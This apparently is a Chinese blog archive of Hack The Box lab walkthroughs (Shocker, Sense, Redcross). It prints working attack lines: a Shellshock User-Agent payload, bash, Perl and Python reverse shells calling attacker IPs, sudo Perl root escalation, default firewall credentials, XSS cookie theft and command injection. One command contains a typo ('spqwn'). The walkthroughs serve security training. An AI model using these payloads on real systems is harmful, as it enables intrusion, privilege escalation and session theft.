2024 年 1 月

2024年1月8日

HTB-Shocker

0x01 端口扫描

常见开放端口如下：

80端口：HTTP服务
2222端口：SSH服务

访问80

未发现有价值信息

0x02 目录扫描

其中重点查看cgi-bin目录，其中会存放一些.pl、.sh以及.cgi等格式的可执行脚本，对其进行文件遍历。

获取到敏感文件user.sh

通过查看该文件发现此脚本是实时运行的。

访问该脚本时会通过调用一个bash shell终端来实时执行uptime命令，并通过下载文件的方式返回执行结果。

0x03 ShellShock漏洞

使用BP抓包，并修改UA

() { :;};echo ; echo; echo $(/bin/ls -al /);

存在shellshock漏洞并列出了/bin目录下的所有文件

修改exp

() { :;};/bin/bash -i >& /dev/tcp/10.10.16.2/8888 0>&1;

获取低权限shell

获取一个标准终端

python -c ‘import pty;pty.spawn(“/bin/bash”)’

此处小坑：

报错没有Python，实际上是有的，查看发现装的python3，因此修改命令

python3 -c ‘import pty;pty.spqwn(“/bin/bash”)’

0x04 提权

查看到当前用户有免密码使用root权限的perl的权限。

因此思路如下：

可构造perl代码获取一个新的root权限的反弹shell
构建perl代码执行系统命令，在shelly用户权限的反弹shell中开启一个root权限终端

perl代码获取新的root权限反弹shell

sudo /usr/bin/perl -e 'use Socket;$i="10.10.16.2";$p=1101;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">$S");open(STDOUT,">$S");open(STDERR,">$S");exec("/bin/sh -i");};'

perl代码执行系统命令在低权限shell中开启root终端

sudo /usr/bin/perl -e ‘exec “/bin/sh”‘

0x05 总结

注意/cgi-bin/等目录下的脚本文件
bash使用的环境通过函数名称调用的，导致漏洞出问题是以”(){“开头定义的环境变量在命令ENV中解析成函数后，Bash执行并退出，而是继续解析并执行shell命令。核心原因在于没有严格过滤输入的参数
执行CGI时会调用Bash将refere、host、UserAgent、header等作为环境变量进行处理
Perl获取反弹shell
Perl在shell中开启root终端
无回显情况可参照sql盲注的延时方法，使用sleep函数判断是否存在漏洞

2024年1月4日

HTB-Sense

0x01 端口扫描

常见开放端口如下：

80端口：HTTP服务
443端口：HTTPS服务

同时获得系统信息FreeBSD8.1

访问80

搜索该logo发现这是一个开源防火墙

0x02 pfSense授权后的命令执行

搜索漏洞能够发现两个命令执行漏洞，但都需要登录后

先做一遍目录扫描搜集信息，获得的两个txt文件有价值。一个说该系统有一个漏洞，另一个给了我们一个用户名和密码。

使用该密码尝试登录

该账号密码无法登录，根据密码这两个单词的翻译是默认密码的意思，于是去搜索pfSense的默认密码，最终

的用户名密码为：

username:rohit

password:pfsense

成功登录防火墙。

下载exp并按指示使用

0x03 总结

端口扫描获取web站点
目录扫描获取站点登录凭证
搜索默认口令登录防火墙
利用防火墙任意命令执行获取root权限

2024年1月2日

HTB-Redcross

0x01 端口扫描

开启常见端口如下：

22端口：SSH服务
80端口：HTTP服务
443端口：HTTPS服务

访问不到80端口

发现也页面被跳转到了https服务并且域名为intra.redcross.htb

因此我们修改kali的hosts文件,重新启动一下网络服务，重新进行访问

小坑，此处我把ipv4的地址填到ipv6那里了，大家记得填在上方ipv4的位置

/etc/init.d/networking restart

访问到的页面内容如下：

点击contact form链接将跳转至https://intra.redcross.htb/?page=contact

0x02 XSS测试

此处设置3个并使其弹出不同的数字，这样我们即可通过弹出的数字不同准确的找到哪里存在xss

并没有弹框，但根据也页面回显的内容我们确定第三个框可能存在XSS漏洞。

更换XSS的POC,使其弹出cookie

其中10.10.16.5为kali的ip地址

获取到cookie如下

PHPSESSID=b9qhrlc0vhfsanp0ejnpsjeat3;%20LANG=EN_US;%20SINCE=1691670730;%20LIMIT=10;%20DOMAIN=admin

0x03 利用XSS获取web系统管理权限

修改cookie的值

保持调试模式刷新页面

0x04 子域名系统

根据文字提示

Please could you check the admin webpanel?

将admin.redcross.htb加入hosts文件

访问admin.redcross.htb内容如下

再次使用刚刚获得的管理员cookie进行尝试

替换cookie后刷新页面

0x05 添加系统用户

添加用户后获得我们的账户和密码

RA : LXtGpUnF

可以看到具有uid和gid等，很像Linux的账户

尝试进行ssh链接

ssh 10.10.10.113 -l RA

获得了一个低权限shell

0x06 Web系统授权后RCE

点击

显然此处可以尝试RCE

Ip后拼接;和命令报错

输入正常ip则出现一个deny按钮

点击并抓包

拼接命令并将其进行url编码

成功执行了我们的命令

开启监听一个端口1101

使用如下payload:

ip=127.0.0.1%;ip=1;python+c+’import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((“10.10.16.5”,1101))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([“/bin/sh”,”-i”])%3b’&action=deny&id=14&action=deny